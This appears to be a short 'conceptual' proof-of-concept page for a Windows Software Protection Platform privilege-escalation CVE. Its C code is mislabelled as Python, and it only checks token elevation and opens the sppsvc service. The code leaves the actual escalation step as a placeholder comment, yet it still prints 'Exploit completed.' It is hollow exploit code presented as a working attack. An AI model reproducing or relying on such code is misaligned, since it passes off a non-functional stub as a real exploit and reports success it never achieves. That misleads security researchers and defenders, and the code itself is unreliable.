The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2025-59199 - Windows SPP Privilege Escalation
// Note: This is a conceptual demonstration based on the vulnerability description.
// Actual exploitation requires specific knowledge of the vulnerable SPP interface.
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
// Step 1: Check if current user has sufficient privileges to attempt exploitation
BOOL CheckCurrentPrivileges() {
BOOL isElevated = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
isElevated = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
return isElevated;
}
// Step 2: Attempt to interact with SPP service via its exposed interfaces
// SPP service typically exposes RPC interfaces and named pipes
BOOL ExploitSPPService() {
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hSCManager == NULL) {
printf("[-] Failed to open Service Control Manager. Error: %d\n", GetLastError());
return FALSE;
}
// Attempt to query or interact with the SPP service (sppsvc)
SC_HANDLE hService = OpenService(hSCManager, _T("sppsvc"), SERVICE_QUERY_CONFIG | SERVICE_START);
if (hService == NULL) {
printf("[-] SPP service not accessible. Error: %d\n", GetLastError());
CloseServiceHandle(hSCManager);
return FALSE;
}
// Conceptual: Trigger the vulnerable code path in SPP
// The actual exploit would involve crafting specific RPC calls or
// manipulating named pipe communications to bypass access control checks
printf("[*] SPP service accessed. Attempting privilege escalation...\n");
// Conceptual privilege escalation logic would go here
// This typically involves token manipulation or service abuse
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return TRUE;
}
int main() {
printf("[*] CVE-2025-59199 - Windows SPP Privilege Escalation PoC\n");
printf("[*] Author: Secure Research\n\n");
if (CheckCurrentPrivileges()) {
printf("[+] Already running with elevated privileges.\n");
return 0;
}
printf("[*] Current process running with standard privileges.\n");
printf("[*] Attempting to exploit SPP access control vulnerability...\n\n");
if (ExploitSPPService()) {
printf("[+] Exploit completed. Check current privilege level.\n");
} else {
printf("[-] Exploit failed.\n");
}
return 0;
}